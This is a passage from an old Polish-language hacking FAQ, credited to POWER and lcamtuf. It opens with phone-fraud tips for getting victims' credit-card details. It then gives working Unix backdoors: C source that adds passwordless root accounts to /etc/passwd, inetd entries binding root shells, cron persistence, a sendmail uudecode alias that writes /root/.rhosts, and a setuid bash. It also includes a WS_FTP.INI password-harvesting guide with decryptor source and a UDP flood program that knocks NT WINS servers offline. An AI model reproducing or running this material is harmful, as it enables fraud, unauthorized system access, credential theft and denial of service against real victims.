2 Jesli chodzi o cc to najlepiej wiedziec w jakim bank, imie i nazwisko ofiary no i telefon.

3 Jesli robisz to juz przez telefon to pamietaj by robic to z budki, najlepiej takiej ktora ma wlasny numer by w razie gdy ofiara zacznie cos podejrzewac podasz nr budki i kazesz szybko oddzwonic.

4 Jesli podszywasz sie pod jakis zaklad pracy lub bank najlepiej dzwon, kilkanascie minut przed jego zamknieciem i nawijaj ze strasznie ci sie spieszy, piatek 5:45 to wprost pora na takie numery.

5 Jak sie zmieszasz i spieprzysz sprawe bo slabo przygotowujesz gadke to nie wal sluchawka tylko delikatnie sie wycofaj, bo jak pozniej sprobujesz jeszcze raz z ta sama osoba to bedzie juz ona 10x bardziej podejrzliwa.

XIII Backdoors

1 Backdoor by lcamtuf : lcamtuf

Napisalem wlasnie bardzo "malego", ale przez to cennego backdoora. Dziala na wszystkich normalnych linuchach.

Oto jak go uzyc (oczywista trza byc rootem):

```
# gcc backdoor.c -o /usr/sbin/in.rpfsd
# echo 666 filesysd >>/etc/services
# echo filesysd stream tcp nowait root /usr/sbin/tcpd in.rpfsd >>/etc/inetd.conf
# killall -HUP inetd
# chmod +s /usr/sbin/in.rpfsd
```

Powiedzmy, ze po zainstalowaniu tego nakrywa nas root, odlacza nam dostep zmieniajac hosts.allow, wylacza w ogole telnet i wywala nasze konta (via przyklad softela). Oto co robimy - telnetujemy sie na port 666 tego serwera (gdy juz root postawi go z powrotem) i wciskamy klawisz '4' (enter). Polaczenie zostanie przerwane, ale zostanie uaktywniony telnet (to moze dzialac nie od razu, ale wystarczy np. zflooderowac serwer albo go zrebootowac, poza tym rzadko

kiedy telnet jest _calkowicie_ odlaczony). Gdy polaczymy sie znowu i wcisniemy '3' - bedziemy mogli sie logowac przez telnet jesli dotychczas nas rozlaczalo (via softel). Wciskajac klawisz '2' dostaniemy konto zwyklego usera o nazwie 'slav3' bez hasla. Wciskajac '1' dostaniemy usera bedacego rootem o identyfikatorze 'myl0rd'. Acha, jesli nie mozna sie zalogowac bezposrednio jako root - logujecie sie jako zwykly user a pozniej 'su myl0rd' :-). I jeszcze jedno... Jako SHELL jest ustawiony "/bin/bash". Ale mozna to dowolnie zmienic, wasz wybor. Oto kod zrodlowy backdoor.c - p0wer wklej to gdzies do faq bo ja juz nie chce :-)

-- CUT HERE --

// in.hackerd (c) lcantuf 97

```
#include <stdio.h>
#include <stdlib.h>

#define SHELL "/etc/passwd";

void main() {
    FILE *plik;
    char wish;
    char* trg;
    char* seq;
    wish=getchar();
    if (wish=='1') {          // switch, wiem, ale juz nie mialem czasu :-
        trg="/etc/passwd";
        seq="\nmyl0rd::0:0:/: " SHELL "\n";
    }
    if (wish=='2') {
        trg="/etc/passwd";
        seq="\nslav3::997:997:/: " SHELL "\n";
    }
    if (wish=='3') {
        trg="/etc/hosts.allow";
        seq="\nALL:ALL\n";
    }
    if (wish=='4') {
        trg="/etc/inetd.conf";
        seq="\ntelnet stream tcp nowait root /usr/sbin/tcpd in.telnetd\n";
    }
    plik=fopen(trg,"a");
    fputs(seq,plik);
    fclose(plik);
}

-- CUT HERE --
```

2 Co to sa tylne drzwi : BANAN {poprawione przez lcantuf'a}

Tylne drzwi czy tez tylne wejście, jest to sposob w jaki mozna dostac sie do systemu bez koniecznosci logowania sie lub z ominieciem zabezpieczen. Mozna to zrobic instalujac sobie "specjalny" port w telnetcie. Sprobuje pokazac pare sposobow jak to zrobic i jak zatrzymac te "drzwi" gdy admin sie pokapuje co jest grane :)

Co potrzebujesz:

Przede wszystkim potrzebujesz roota na na serwerze w ktorym chcesz zrobic backdoors. Poza tym potrzeba troche szczescia i pomyslowosci :)

Jak to sie robi:

Na poczatek trzeba przyjrzec sie interesujacym nas plikom odpowiadajacym za konfiguracje inetu. A oto czego masz szukac:

/etc/services Ten plik pozwoli ci znalezc port, na ktorym postawisz backdoors lub dopisac swoj wlasny.

/etc/inetd.conf To jest plik w którym musisz zainstalować obsługę swoich backdoors.

W pliku /etc/services znajdziesz coś takiego:

```
tcpmux      1/tcp      #TCP Port Service Multiplexer
tcpmux      1/udp      #TCP Port Service Multiplexer
compressnet 2/tcp      #Management Utility
compressnet 2/udp      #Management Utility
compressnet 3/tcp      #Compression Process
compressnet 3/udp      #Compression Process
```

Pewnie myślisz co to kurwa jest, i po co mi to, postaram się to wyjaśnić na tym przykładzie:

```
ftp          21/tcp      #File Transfer [Control]
ftp          21/udp      #File Transfer [Control]
```

Pierwsza kolumna oznacza nazwę serwisu w systemie (tylko w celu pomocniczym, tutaj akurat ftp). Druga to numer portu, na którym "stoi" dana usługa (więc gdy wpisujemy "telnet localhost ftp" to zostaniemy połączeni z portem 21). Zaraz po porcie znajduje się nazwa protokołu, z reguły interesuje nas tcp. Ostatnia kolumna to komentarz, najczęściej opis przeznaczenia.

Na razie nie jest ci to potrzebne, ale później się przyda.

Teraz looknij sobie do /etc/inetd.conf. Jest to plik konfiguracyjny dla demona inetd, ze zdefiniowaną jednoznacznie relacją między połączeniem z jakimś portem i demonem, który ma być uruchomiony. A wygląda on sobie w ten sposób:

```
ftp      stream  tcp      nowait  root    /usr/libexec/tcpd      ftpd -l -A
telnet   stream  tcp      nowait  root    /usr/libexec/tcpd      telnetd
shell    stream  tcp      nowait  root    /usr/libexec/tcpd      rshd
login    stream  tcp      nowait  root    /usr/libexec/tcpd      rlogind -a
exec     stream  tcp      nowait  root    /usr/libexec/tcpd      rexecd
```

Wyjaśnienie tych bzdetów:

Pierwsza kolumna to nazwa demona lub po prostu numer portu. Jeśli wpiszesz nazwę - zostanie ona przełożona na numerkę na podstawie omówionego wyżej pliku services. Na tym porcie demon będzie oczekiwał połączenia. Druga kolumna to rodzaj połączenia, z reguły stream (strumień). Później znówu idzie protokół, my akurat interesujemy się tylko ftp. Następna kolumna dotyczy oczekiwania, z reguły jest to "nowait". Następnie podany jest użytkownik, z którego uprawnieniami zostanie odpalony demon. Najkorzystniej dla nas ustawić "root", ale np. httpd (demon www) chodzi jako "nobody". Później z kolei znajduje się program, który obsłuży połączenie, czyli prawie zawsze tcpd (może się też znajdować w katalogu /usr/sbin/tcpd, zależy od systemu). Na końcu znajduje się program lub demon, który zostanie odpalony w momencie połączenia na port i zajmie się obsługą użytkownika.

3 Instalacja tylnych drzwi : BANAN

BACKDOORS 1:

Dobra, cofnij się do pliku /etc/services. Popatrz na niego i wybierz jeden z serwisów który sądzisz że admin nie sprawdzi, zapamiętaj go sobie. Teraz skocz do pliku /etc/inetd.conf. Dopisz w nim to co zapamiętałeś z /etc/services. Powiedzmy że zapamiętałeś serwis ftp (to oczywiście tylko przykład, wybierz coś bardzo egzotycznego). Teraz dodaj do inetd.conf taką linijkę: "ftp stream tcp nowait root /bin/sh sh -i". Gdy to zrobisz - sprawdź, czy już wcześniej nie ma linijki dotyczącej ftp, a jeśli jest to ją skasuj.

Po tym zabiegu pora zrestartować całego demona inetd, żeby uaktualnić jego ustawienia. Wpisz "killall -HUP inetd".

Teraz przetestujmy co zrobiles (roznie to wyglada, zaleznie od systemu):

```
telnet pechowy.host.com ftp
Trying 123.456.78.9...
Connected to comp.com
Escape character is '^]'.
bash#
bash# whoami
root
bash#
```

Acha, nie korzystaj z portu 21 (ftp) tylko z jakiegos innego, zupełnie egzotycznego portu z konca pliku services. Jesli chcesz mozesz tez dodac tam wlasny wpis w stylu "kftd 3142/tcp" i go wlasnie uzywac.

BACKDOORS 2:

Konie trojanskie cron sa dobre gdy admin polapal sie z "dzwiemi" a chcesz dalej utrzymac roota. Cron jest czasowym demonem, ktory uruchamia inne programy w zadanych odstepach czasu. Wpisz w shellu crontab, dowiesz sie jak tego uzywac, a pozniej idz do /var/spool/cron/crontabs/root. A oto jak wyglada przykladowy wpis:

```
0      0      *      *      1      /usr/bin/updatedb
```

Pierwsza kolumna oznacza minuty (0-59), druga godziny (0-23), trzecia dni miesiaca (1-31), kolejna - miesiace roku (1-12), pozniej dni tygodnia (0-6) i na koncu komenda do wykonania.

Przyklad powyzej jest ustawiony na poniedzialek. Jesli chcesz aby co jakis czas sprawdzac, czy root przypadkiem nie usunal twojego konta - dodaj odpowiedni wpis do /var/spool/crontab/root. Powiedzmy, ze dodales sobie konto z UID=0 (rootowe). Cron moze je stale monitorowac, a gdy root je wywali - po pewnym czasie zostanie odtworzone. Jak to zrobic? Powiedzmy ze dodales konto "hacker::0:0:hAAAckeR:::/bin/bash" do /etc/passwd. Twój program musi sprawdzac, czy ten wpis tam dalej istnieje (moze to zrobic polecenie grep). A jesli cokolwiek sie zmieni - bedzie dodawal nowy wpis na koncu. Warto tez zabezpieczyc sie przed zmiana hasla.

4 Tylne drzwi w sendmailu : BANAN

Musisz dodac do /etc/aliases ta linijke:

```
decode: | /usr/bin/uudecode
```

Pozniej wpisuj "newaliases" (już ze shella) i chmod +s /usr/bin/uudecode :)

Plik uudecode bedzie sluzyl jako .rhosts (jesli ktos nie wie jaka jest dziura w pliku .rhosts to niech sie dowie:) odsylam tu np. do faqa POWERA, mozna go znalezc mdzn. na <http://polbox.com/p/p0wer>). Oto jak skorzystac pozniej z tej dziury:

```
echo "+ +" | /usr/bin/uencode /root/.rhosts | mail decode@serwer.com
```

Oczywiscie to nie wszystko - mozna w ten sposob podmienic /etc/passwd...

5 Jak zachowac tylne drzwi : BANAN

Jesli bedziesz uzywal tylnych drzwi spokojnie i nie szalal po serwerze tak aby admin sie nic nie pokapowal to bedziesz mogl miec tylne drzwi bardzo dlugo :)

6 Tylne drzwi na port 530 : BANAN

Oto jak sobie zainstalowac prosty backdoor na serwerku. Eech, to raczej powinno byc w czesci o backdoorach :) Opisane dla linucha, w niektórych UNIXach demony "mieszkaja" w innym katalogu niz /usr/sbin :) Acha, root sie przydaje wbrew pozorom :)

```
% cp /bin/bash /usr/sbin/in.courierd
% chmod 4755 /usr/sbin/in.courierd
% echo "courier stream tcp nowait root /usr/sbin/in.courierd" >>/etc/inetd.conf
% killall -HUP inetd
```

Tia, a pozniej (wszystkie polecenia koncz znakiem ;)...

```
% telnet serwer.com 530
Trying 194.204.123.22...
```

```
bash# whoami;
root
```

XIV Przydatne adresy : lcamtuf

Oto miejsca, gdzie znajdziesz cos przydatnego w hackowaniu, rozne programy, ciekawe rzeczy :-)

<http://www.2600.com/>
<http://merlin.koeln-net.com/~plasmoid/thc/>
<http://www.outpost9.com/exploits/index.html>
<http://www.ilf.net/~toast/exploits/>
<ftp://ftp.giga.or.at/pub/hacker>
<ftp://ftp.ox.ac.uk/pub/wordlists>
<http://www.dhp.com/~fyodor/>
<http://www.mega.com.pl/users/hacker/>
<http://hack.box.sk/>
<http://www.concentric.net/~bstock/hack.shtml>
<http://www.hacked-inhabitants.com/hacktec/files/exploits/index.html>
<http://www.csn.ul.ie/~flynnq/security/>
<ftp://sunsite.icm.edu.pl/pub/Linux/>
<http://www.fc.net/phrack/under.html>
<http://main.succeed.net/~kill9/hack/software/mail/mail.htm>
<http://soli.inav.net/~dustinm/>
<http://www.hiline.net/~isoscele/links.htm>
<http://rootshell.connectnet.com/>
<http://www.ilf.net/teknopia/downloads/>
http://www.paru.cas.cz/~tomaajda/mirrors/www.newreach.net/_pyre/mp.html
<http://hack.box.sk/mirrors/tapu/ref.html>
<http://pwl.netcom.com/~rawl/warez.html>
<http://www.colba.net/~iaroslav/warez.html>
<http://lech7.pse.pl/>
<http://www.warezRus.com>
<http://www.4shells.com>
<http://www.7thsphere.com>
<http://polbox.com/s/smith>
<http://www.shownomercy.com>
<ftp://ftp.giga.or.at/pub/hacker>
http://www.2600.com/hacked_pages/
<http://www.sexpasswords.com/>
<http://www.ml.org>
<http://sunsite.icm.edu.pl/tucows/>
<http://sunsite.icm.edu.pl/tucows/dns95.html>
<http://www.man.torun.pl/RadioMaryja/>

XV Windows NT

1 WS_FTP.INI bug : POWER

Milosch Meriac odkrył, że dziurka w WS_FTP.INI

STEP1: Znajdź w sieci plik WS_FTP.INI, np używając ftp search:

http://ftpsearch.ntnu.no/ftpsearch?query=ws_ftp.ini&doit=Search&type=Case+insensitive+substring+search&hits=5000&matches=&hitsprmatch=&limdom=&limpath=&fl=Count&f2=Mode&f3=Size&f4=Date&f5=Host&f6=Path&header=none&sort=date&trlen=20

STEP2: Przeważnie 30% z tych plików zawiera zakrytowane hasła dla serverów WWW/FTP plus loginy i hosty.

Przykład pliku WSP_FTP.INI:

```
[Gate]
HOST=ftp.gate.net
UID=ftp
PWD=616F71717D727B7A48
LOCDIR=D:\
DIR=/
```

STEP3: Zdekryptuj hasła!

Metoda używana przez WS_FTP jest słabiotka! Prosto ASCII jest konwertowane na HEX. Jeżeli liczba jest w pozycji N to dodajemy do niej to N {fuck cos tego do końca nie jarze:)}

```
The Encryption Method used in WS_FTP is _extremely_ weak! The
Password is converted (ASCII conforming) to Hex-Numbers (2
Digits)... if a Digit is at position N , then N is added to
this Digit ---> thats all! (The password mentioned in the
above example is anonymus@)
```

U góry macie coś co znalazłem w oryginalnym angielskim dokumencie:)

Czasem działa to także z:

- EUDORA.INI
- PMAIL.INI (Pegasus Mail)
- prefs.js (Netscape)
- other INI/etc.-files (andere INI/etc.-Dateien)

Kilka rad:

- 1 Nie zniechęcaj się bo znalezienie pliku z hasłami w ini nie jest łatwe, ale mi się już parę razy udało.
- 2 Poszukaj innych sposobów zdobywania tego pliku. Np sprawdź czy nie ma go na czyimś komputerze, do którego masz dostęp. Wycebrzaj od jakiegoś lamera itd.
- 3 Nie wiem co jeszcze bo sam ledwo to testuję ;)

A pod spodem macie program do dekryptowania haseł napisany przez JeBe Budianto

```
/*      This Program is freely distributed as long you not removed
        this comment.
        It's used to decrypt password on ini file, specially on
        ws_ftp.ini

        Written by
                JeBe Budianto, Electricall Engineering ITB
                E-Mail: jebe@students.itb.ac.id
                        jebe@EE.ITB.ac.id
        Tested on FreeBSD 2.1.5
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char    password[100];

void extract(void)
{
    int h,i,j,k,l;
    char m[2],n[2];
```

```

char ch;

i=4;h=0;
m[1]=0;
n[1]=0;

if(password[i]=='V') i=5;
while((password[i] != '\r'))
{
    if(password[i]=='\n')
    {
        printf("\n");
        exit(0);
    }

    m[0]=password[i];i++;
    n[0]=password[i];i++;

    if(isdigit(m[0]))
    {
        k=atoi(m);
    }
    else
    {
        ch=tolower(m[0]);
        switch(ch)
        {
            case 'a' : k=10;break;
            case 'b' : k=11;break;
            case 'c' : k=12;break;
            case 'd' : k=13;break;
            case 'e' : k=14;break;
            case 'f' : k=15;
        }
    }

    if(isdigit(n[0]))
    {
        l=atoi(n);
    }
    else
    {
        ch=tolower(n[0]);
        switch(ch)
        {
            case 'a' : l=10;break;
            case 'b' : l=11;break;
            case 'c' : l=12;break;
            case 'd' : l=13;break;
            case 'e' : l=14;break;
            case 'f' : l=15;
        }
    }
    k=(k*16)+l-h;
    h++;
    printf("%c",k);
}
printf("\n");
}

void main(int argc,char **argv)
{
    FILE *fp;
    char *sp;
    int counter,complete;
    char buff01[100],host[100],nama[100],namafile[100];

    printf("=====\n");
    printf("| Syntax:      ProgramName IniFileName      |\n");
    printf("| Written by  jebe@students.itb.ac.id      |\n");
    printf("=====\n");

    if(argc==1)
    {
        printf("Use default ini file WS_FTP.INI\n");
        strcpy(namafile,"WS_FTP.INI");
    }
}

```



```

    }
    else
    {
        strcpy(namafile,argv[1]);
    }

    fp=fopen(namafile,"r");
    if(fp==NULL)
    {
        printf("There's no ini file\n");
        exit(0);
    }

    sp=fgets(buff01,sizeof(buff01),fp);
    counter=1;

    while(sp != NULL)
    {
        if((buff01[0]=='H' && buff01[1]=='O' && buff01[2]=='S' &&
buff01[3]=='T'))
        {
            strcpy(host,buff01);
            complete=1;
        }

        if((buff01[0]=='U' && buff01[1]=='I' && buff01[2]=='D'))
        {
            strcpy(nama,buff01);
            complete++;
        }

        if((buff01[0]=='P' && buff01[1]=='W' && buff01[2]=='D'))
        {
            strcpy(password,buff01);
            complete++;
        }

        if(complete==3)
        {
            if(( nama[4]=='f' && nama[5]=='t' && nama[6]=='p') ||
(nama[4]=='a' && nama[5]=='n' && nama[6]=='o' && nama[7]=='n' && nama[8]=='y' &&
nama[9]=='m' && nama[10]=='o' && nama[11]=='u' && nama[12]=='s'))
            {}
            else
            {
                printf("%s",host);
                printf("%s",nama);
                printf("Password = ");
                extract();
            }
        }
        sp=fgets(buff01,sizeof(buff01),fp);
    }
    fclose(fp);
}
-eof-

```

2 Powalenie Windows NT 4.0 z WINS'em : POWER

Ondxej Holas odkrył, że flood o losowej zawartosci i dlugosci (UDP packet) wyslany na port 137/UDP mszyny, ktora ma WINS server, powoduje zastopowanie wszystkich jej serwisow po 5 sekundach. Testowano to na kilku maszynach NT 4.0 i zadzialalo. Pod spodem macie program w c , pod windows Sockets/Win32 API , bo moze ktos przerobi go na linucha!

```

#include <windows.h>
#include <stdio.h>
#include <winsock.h>

char buffer [512];

int main ( int argc, char **argv )
{
    WSADATA WSAData;

```

```

SOCKET s;
SOCKADDR_IN local, remote;
int rlen, datalen, i;

if ( argc != 2 )
{
    printf ( "Usage: WINSKILL <host-IP>\n" );
    return 0;
}

WSAStartup ( MAKEWORD ( 1, 1 ), &WSAData );

s = socket ( AF_INET, SOCK_DGRAM, 0 );
if ( s == INVALID_SOCKET )
{
    printf ( "socket() failed.\n" );
    goto quit;
}

local.sin_family = AF_INET;
local.sin_port = htons ( 0 );
local.sin_addr.s_addr = INADDR_ANY;

if ( bind ( s, (struct sockaddr far*) &local, sizeof ( local ) ) ==
SOCKET_ERROR )
{
    printf ( "bind() failed.\n" );
    goto quit;
}

remote.sin_family = AF_INET;
remote.sin_port = htons ( 137 );
if ( ( remote.sin_addr.s_addr = inet_addr ( argv [1] ) ) == INADDR_NONE
)
{
    printf ( "Invalid format of IP address.\n" );
    goto quit;
}

while ( 1 )
{
    rlen = sizeof ( remote );

    datalen = rand ( ) % 512;
    for ( i = 0; i < datalen; i++ )
        buffer [i] = rand ( ) % 256;
    sendto ( s, buffer, datalen, 0, (struct sockaddr far*) &remote,
rlen );

    Sleep ( 10 );
}

quit:
WSACleanup ( );

return 0;
}
-eof-

```

THE CLOSING...

Jesli ktos uwaza , ze faq jest denne to nie musi go czytac ;), a jezeli ktos czegos nie rozumie to jeszcze nie powod, by pisac do nas list. Ale w razie czego jestesmy osiagalny pod adresem p0wer@geocities.com , lcantuf@polbox.com
Lub na IRC (kewl.net) cqb06.cku.pwr.wroc.pl na kanale #hackpl

Jesli masz jakies materialy, ktore mozna by wrzucic do tego Faq, to pisz!!!

Najnowsza wersja tego faq bedzie zawsze dostepna na stronie:

<http://www.geocities.com/SiliconValley/Way/6622/indexpl.htm>

Co do dystrybucji to moze cie to faq dawac kazdemu, umieszczac na swoim www ale pod warunkiem, ze nic w nim nie zmienicie.

POWER & Lcamtuf